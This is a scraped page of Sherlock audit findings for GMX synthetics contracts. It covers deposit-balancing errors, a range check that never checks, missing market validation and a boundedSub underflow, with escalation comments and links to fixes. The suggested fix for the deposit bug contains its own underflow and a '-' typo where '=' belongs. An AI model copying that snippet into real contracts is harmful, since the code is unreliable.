You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
I messed up the tagging - Valid solo Medium
hrishibhat
Escalation accepted
Considering this issue a valid medium
sherlock-admin
Escalation accepted
Considering this issue a valid medium
This issue's escalations have been accepted!
Contestants' payouts and scores will be updated according to the changes made on this issue.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/122
Source: sherlock-audit#72
IllIllI, kirk-baird, koxuan
The function getAdjustedLongAndShortTokenAmounts() attempts to balance the long and short pool amounts for a market which has the same long and short token. However, the calculations are incorrect and may result in an unbalanced pool or a reverted transaction.
There are two equivalent bugs which occur depending on which pool is larger (long vs short). The bug occurs due to incorrect values being used in the if-statements.
The first issue is occurs on line 395 where the diff is compared to poolLongTokenAmount. This is the incorrect value, instead longTokenAmount should be used.
For the case where diff < poolLongTokenAmount
- if
longTokenAmount < diffit will overflow on line 396 - if
longTokenAmount >= diffthis case behaves correctly For the case wherediff >= poolLongTokenAmount - if
longTokenAmount >= diffthe result is an unbalanced pool since we are attributing too many tokens to the long amount. - if
longTokenAmount < diffthis case behaves correctly
The same issue occurs on line 404 for the case when there is a deficit in short tokens.
There are two different negative impacts stated in the above depending on the conditions. The first is an overflow that will cause the transaction to revert.
The second impact is more severe as it will cause an unbalanced pool to be created. The impact is the deposit will have a significant price impact. The most noticable case is the initial deposit. The first deposit will will have diff = 0 and poolShortTokenAMount = poolLongTokenAmount = 0. The impact is line 408-409 is executed which attributes all funds to the short pool and none to the long pool.
Function getAdjustedLongAndShortTokenAmounts()
https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol#L381-L414
First occurence of the bug. https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol#L395
Second occurrence of the bug. https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol#L404
Manual Review
The aim of the function is to reduce the difference between the poolLongTokenAmount and poolShortTokenAmount. We have longTokenAmount as the amount of funds contributed by the user. Therefore the correct solution should be to use longTokenAmount in the mentioned if statements.
if (poolLongTokenAmount < poolShortTokenAmount) {
uint256 diff = poolLongTokenAmount - poolShortTokenAmount;
if (diff < longTokenAmount) { //@audit fix
adjustedLongTokenAmount = diff + (longTokenAmount - diff) / 2;
adjustedShortTokenAmount = longTokenAmount - adjustedLongTokenAmount;
} else {
adjustedLongTokenAmount = longTokenAmount;
}
} else {
uint256 diff = poolShortTokenAmount - poolLongTokenAmount;
if (diff < longTokenAmount) { //@audit fix
adjustedShortTokenAmount = diff + (longTokenAmount - diff) / 2;
adjustedLongTokenAmount - longTokenAmount - adjustedShortTokenAmount;
} else {
adjustedLongTokenAmount = 0;
adjustedShortTokenAmount = longTokenAmount;
}
}xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/d4066840f925c43116eed3c2c83ae2e44be39eed
Source: sherlock-audit#49
0xGoodess
_validateRange in Config does not check the input value as described
in the dev note of this function _validateRange : it said // @dev validate that the value is within the allowed range. However in the function itself the value is only used in sending revert message, but not used in any check against a pre-set boundary.
function does not verify the input value is within an expected range
Manual Review
Retrieve the min/max of a baseKey and does checking.
IllIllI000
@xvi10 can you confirm that this is invalid?
xvi10
it is a valid issue
IllIllI000
@hrishibhat agree with sponsor – valid Medium
chrisckwong821
Escalate for 10 USDC
sherlock-admin
Escalate for 10 USDC
You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
I messed up the tagging - Valid solo Medium
hrishibhat
Escalation accepted
Considering this issue a valid medium
sherlock-admin
Escalation accepted
Considering this issue a valid medium
This issue's escalations have been accepted!
Contestants' payouts and scores will be updated according to the changes made on this issue.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/81
Source: sherlock-audit#33
IllIllI, caventa
There is no market enabled validation in Swap and CreateAdl activities.
Controller may execute activities for disabled market in Swaphandler and CreateAdlHandler
Activities can still be performed on an disabled market
https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/swap/SwapUtils.sol#L98-L149 https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/swap/SwapUtils.sol#L158-L318 https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/adl/AdlUtils.sol#L125-L173
Manual Review
Add the similar following code
Market.Props memory _market = MarketUtils.getEnabledMarket(dataStore, market);to swap and createAdl
xvi10
for ADL, the market is validated in _getExecuteOrderParams called after AdlUtils.createAdlOrder
for swaps, the swap path is fetched with getEnabledMarkets before calling the swap function
Source: sherlock-audit#16
chaduke
The goal of boundedSub() is to bound the result regardless what the inputs are to prevent overflows/underflows. However, the goal is not achieved for some cases. As a result, boundedSub() still might underflow and still might revert. The goal of the function is not achieved.
As a result, the protocol might not be fault-tolerant as it is supposed to be - when boundedSub() is designed to not revert in any case, it still might revert. For example, function MarketUtils.getNextFundingAmountPerSize() will be affected.
boundedSub() is designed to always bound its result between type(int256).min and type(int256).max so that it will never overflow/underflow:
It achieves its goal in three cases:
-
Case 1:
if either a or b is zero or the signs are the same there should not be any overflow. -
Case 2:
a > 0, andb < 0, anda-b > type(int256).max, then we need to returntype(int256).max. -
Case 3:
a < 0, andb > 0, anda - b < type(int256).min, then we need to returntype(int256).min
Unfortunately, the third case is implemented wrongly as follows:
// if subtracting `b` from `a` would result in a value less than the min int256 value
// then return the min int256 value
if (a < 0 && b <= type(int256).min - a) {
return type(int256).min;
}
which essentially is checking a < 0 && b + a <= type(int256).min, a wrong condition to check. Because of using this wrong condition, underflow cases will not be detected and the function will revert instead of returning type(int256).min in this case.
To verify, suppose a = type(int256).min and b = 1, a-b needs to be bounded to prevent underflow and the function should have returned type(int256).min. However, the function will fail the condition, as a result, it will not execute the if part, and the following final line will be executed instead:
return a - b;As a result, instead of returning the minimum, the function will revert in the last line due to underflow. This violates the property of the function: it should have returned the bounded result type(int256).min and should not have reverted in any case.
The following POC in Remix can show that the following function will revert:
function testBoundedSub() public pure returns (int256){
return boundedSub(type(int256).min+3, 4);
}boundedSub() does not guarantee underflow/overflow free as it is designed to be. As a result, the protocol might break at points when it is not supposed to break.
For example, function MarketUtils.getNextFundingAmountPerSize() will be affected.
VsCode
Manual Review
The correction is as follows:
function boundedSub(int256 a, int256 b) internal pure returns (int256) {
// if either a or b is zero or the signs are the same there should not be any overflow
if (a == 0 || b == 0 || (a > 0 && b > 0) || (a < 0 && b < 0)) {
return a - b;
}
// if adding `-b` to `a` would result in a value greater than the max int256 value
// then return the max int256 value
if (a > 0 && -b >= type(int256).max - a) {
return type(int256).max;
}
// if subtracting `b` from `a` would result in a value less than the min int256 value
// then return the min int256 value
- if (a < 0 && b <= type(int256).min - a) {
+ if (a < 0 && a <= type(int256).min + b) {
return type(int256).min;
}
return a - b;
}
xvi10